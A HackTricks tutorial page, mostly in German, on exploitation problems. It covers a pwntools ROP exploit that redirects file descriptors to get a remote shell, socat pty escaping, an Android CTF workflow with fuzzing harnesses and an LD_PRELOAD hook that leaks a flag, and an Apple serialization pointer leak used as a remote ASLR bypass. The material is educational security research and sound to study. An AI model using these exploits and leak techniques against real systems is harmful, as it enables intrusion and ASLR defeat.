Häufige Exploiting Problems

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

FDs bei Remote Exploitation

Wenn man beispielsweise einen exploit an einen Remote-Server sendet, der system('/bin/sh') aufruft, wird dieser natürlich im Serverprozess ausgeführt, und /bin/sh erwartet Eingaben von stdin (FD: 0) und gibt die Ausgabe in stdout und stderr aus (FDs 1 und 2). Daher kann der Angreifer nicht mit der Shell interagieren.

Eine Möglichkeit, das zu beheben, ist anzunehmen, dass der Server beim Start den FD mit der Nummer 3 (zum Lauschen) erstellt hat und dass Ihre Verbindung dann im FD mit der Nummer 4 landet. Daher ist es möglich, den Syscall dup2 zu verwenden, um stdin (FD 0) und stdout (FD 1) auf das FD 4 (das der Verbindung des Angreifers) zu duplizieren, sodass eine Verbindung zur Shell möglich wird, sobald sie ausgeführt wird.

Exploit-Beispiel hier:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Beachte, dass socat bereits stdin und stdout auf den Socket überträgt. Allerdings enthält der pty-Modus DELETE characters. Wenn du also ein \x7f ( DELETE -) sendest, wird es das vorherige Zeichen deines Exploits löschen.

Um das zu umgehen, muss das Escape-Zeichen \x16 jedem gesendeten \x7f vorangestellt werden.

Here you can find an example of this behaviour.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

Wenn eine Android-App nur eine gestrippte AArch64 .so ausliefert, kannst du trotzdem exportierte Logik direkt auf dem Gerät fuzzing, ohne die APK neu zu bauen. Ein praktischer Workflow:

  1. Locate callable entry points. objdump -T libvalidate.so | grep -E "validate" listet schnell die exportierten Funktionen. Decompiler (Ghidra, IDA, BN) zeigen die echte Signatur, z. B. int validate(const uint8_t *buf, uint64_t len).
  2. Write a standalone harness. Lade eine Datei, halte den Buffer am Leben und rufe das exportierte Symbol genau so auf, wie es die App tun würde. Cross-kompiliere mit dem NDK (z. B. aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimaler dateibasierter harness ```c #include #include #include #include #include #include

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }

</details>

3. **Erwarte Struktur rekonstruieren.** Fehlermeldungen und Vergleiche in Ghidra zeigten, dass die Funktion striktes JSON mit konstanten Schlüsseln (`magic`, `version`, verschachtelt `root.children.*`) und arithmetischen Prüfungen (z. B. `value * 2 == 84` ⇒ `value` muss `42` sein) parst. Durch Einspeisen syntaktisch gültigen JSON, das nach und nach jeden Branch erfüllt, lässt sich das Schema ohne Instrumentierung abbilden.
4. **Anti-debug umgehen, um secrets zu leak.** Da das `.so` `snprintf` importiert, überschreibe es mit `LD_PRELOAD`, um sensible Formatstrings auszulesen, selbst wenn Breakpoints blockiert sind:

<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates die internal flag und bestätigt das crash oracle, ohne das binary zu patchen. 5. Verkleinere den fuzz-Suchraum. Disassembly zeigte einen wiederverwendeten XOR key in der flag-Vergleichslogik, sodass die ersten sieben Bytes des flag bekannt waren. Fuzz nur die neun unbekannten Bytes. 6. Platziere fuzz-Bytes in einer gültigen JSON-Hülle. Das AFL harness liest genau neun Bytes von stdin, kopiert sie in das flag-Suffix und hard-codiert alle anderen Felder (constants, tree depths, arithmetic preimage). Jede fehlerhafte Leseoperation beendet das Programm sofort, sodass AFL Rechenzeit auf sinnvolle Testfälle verwendet:

Minimaler AFL harness ```c #include #include #include #include

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; char suffix[FUZZ_SIZE + 1]; memcpy(suffix, blob, FUZZ_SIZE); suffix[FUZZ_SIZE] = ‘\0’; char json[512]; int len = snprintf(json, sizeof(json), “{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”, suffix); if (len <= 0 || (size_t)len >= sizeof(json)) return 0; validate((unsigned char *)json, len); return 0; }

</details>

7. **Run AFL with the crash-as-success oracle.** Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in `output/crashes` and can be replayed through the simple harness to recover the secret.

Dieser Workflow erlaubt es, anti-debug-geschützte JNI-Validatoren schnell zu triagieren, bei Bedarf secrets zu leaken und anschließend nur die relevanten Bytes zu fuzzern — alles ohne das originale APK anzufassen.

## Image/Media Parsing Exploits (DNG/TIFF/JPEG)

Malicious camera formats often ship their own bytecode (opcode lists, map tables, tone curves). When a privileged decoder fails to bound-check metadata-derived dimensions or plane indices, those opcodes become attacker-controlled read/write primitives that can groom the heap, pivot pointers, or even leak ASLR. Samsung's in-the-wild Quram exploit is a recent example of chaining a `DeltaPerColumn` bounds bug, heap spraying via skipped opcodes, vtable remapping, and a JOP chain to `system()`.

<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>

## Pointer-Keyed Hash Table Pointer Leaks bei Apple Serialization

### Requirements & attack surface

- A service accepts attacker-controlled property lists (XML or binary) and calls `NSKeyedUnarchiver.unarchivedObjectOfClasses` with a permissive allowlist (e.g., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- The resulting objects are reused and later serialized again with `NSKeyedArchiver` (or iterated in deterministic bucket order) and sent back to the attacker.
- Some key type in the containers uses pointer values as its hash code. Before March 2025, `CFNull`/`NSNull` fell back to `CFHash(object) == (uintptr_t)object`, and deserialization always returned the shared-cache singleton `kCFNull`, giving a stable kernel-shared pointer without memory corruption or timing.

### Controllable hashing primitives

- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` lacks a hash callback, so `CFBasicHash` uses the object address as the hash. Because the singleton lives at a fixed shared-cache address until reboot, its hash is stable across processes.
- **Attacker-controlled hashes:** 32-bit `NSNumber` keys are hashed through `_CFHashInt`, which is deterministic and attacker-controllable. Picking specific integers lets the attacker choose `hash(number) % num_buckets` for any table size.
- **`NSDictionary` implementation:** Immutable dictionaries embed a `CFBasicHash` with a prime bucket count chosen from `__CFBasicHashTableSizes` (e.g., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Collisions are handled with linear probing (`__kCFBasicHashLinearHashingValue`), and serialization walks buckets in numeric order; therefore, the order of serialized keys encodes the bucket index that each key finally occupied.

### Encoding bucket indices into serialization order

By crafting a plist that materializes a dictionary whose buckets alternate between occupied and empty slots, the attacker constrains where linear probing can place `NSNull`. For a 7-bucket example, filling even buckets with `NSNumber` keys produces:
```text
bucket:          0 1 2 3 4 5 6
occupancy:       # _ # _ # _ #

Während der Deserialisierung fügt das Opfer den einzelnen NSNull key ein. Sein anfänglicher Bucket ist hash(NSNull) % 7, aber beim Probing wird so lange vorgerückt, bis einer der offenen Indizes {1,3,5} erreicht wird. Die serialisierte Schlüsselreihenfolge offenbart, welcher Slot verwendet wurde, und gibt damit preis, ob der Pointer-Hash modulo 7 in {6,0,1}, {2,3} oder {4,5} liegt. Da der Angreifer die ursprüngliche serialisierte Reihenfolge kontrolliert, wird der NSNull key zuletzt im input plist ausgegeben, sodass die Reihenfolge nach der Reserialisierung allein von der Bucket-Platzierung abhängt.

Exakte Reste mit komplementären Tabellen bestimmen

Ein einzelnes Dictionary leaks nur einen Bereich von Restklassen. Um den genauen Wert von hash(NSNull) % p zu bestimmen, baut man zwei Dictionaries pro primärer Bucket-Größe p: eines mit vorgefüllten geraden Buckets und eines mit vorgefüllten ungeraden Buckets. Für das komplementäre Muster (_ # _ # _ # _) mappen die leeren Slots (0,2,4,6) auf Restmengen {0}, {1,2}, {3,4}, {5,6}. Die Beobachtung der serialisierten Position von NSNull in beiden Dictionaries schränkt den Rest auf einen einzelnen Wert ein, weil der Schnitt der beiden Kandidatenmengen ein eindeutiges r_i für dieses p ergibt.

Der Angreifer bündelt alle Dictionaries in einem NSArray, sodass ein einziger deserialize → serialize-Rundtrip residues für jede gewählte Tabellen-Größe leaks.

Rekonstruktion des 64-Bit Shared-Cache-Pointers

Für jede Primzahl p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087} stellt der Angreifer hash(NSNull) ≡ r_i (mod p_i) aus der serialisierten Reihenfolge wieder her. Die Anwendung des Chinesischen Restsatzes (CRT) zusammen mit dem erweiterten euklidischen Algorithmus ergibt:

Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64

Damit entspricht die kombinierte Restklasse eindeutig dem 64-Bit-Pointer zu kCFNull. Der Project Zero PoC kombiniert iterativ Kongruenzen und gibt dabei Zwischenmoduli aus, um die Konvergenz zur tatsächlichen Adresse zu zeigen (0x00000001eb91ab60 auf dem verwundbaren Build).

Praktischer Ablauf

  1. Generate crafted input: Erzeuge die angreiferseitige XML plist (zwei dictionaries pro Primzahl, NSNull zuletzt serialisiert) und konvertiere sie in das Binärformat.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
  1. Victim round trip: Der Victim-Service deserialisiert mit NSKeyedUnarchiver.unarchivedObjectOfClasses unter Verwendung der erlaubten Klassenmenge {NSDictionary, NSArray, NSNumber, NSString, NSNull} und serialisiert sofort erneut mit NSKeyedArchiver.
  2. Residue extraction: Das Zurückkonvertieren des zurückgegebenen plist in XML offenbart die Reihenfolge der Dictionary-Keys. Ein Hilfsprogramm wie extract-pointer.c liest die object table, bestimmt den Index des singulären NSNull, ordnet jedes Dictionary-Paar seinem Bucket-Rest zu und löst das CRT-System, um den shared-cache pointer wiederherzustellen.
  3. Verification (optional): Das Kompilieren eines kleinen Objective-C-Hilfsprogramms, das CFHash(kCFNull) ausgibt, bestätigt, dass der leaked Wert mit der tatsächlichen Adresse übereinstimmt.

Kein Memory-safety-Bug ist erforderlich — allein das Beobachten der Serialisierungsreihenfolge von pointer-keyed Strukturen liefert eine primitive Remote-ASLR-Bypass-Funktionalität.

Verwandte Seiten

Common Exploiting Problems Unsafe Relocation Fixups

Reversing Native Libraries

Reversing Tools & Basic Methods

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks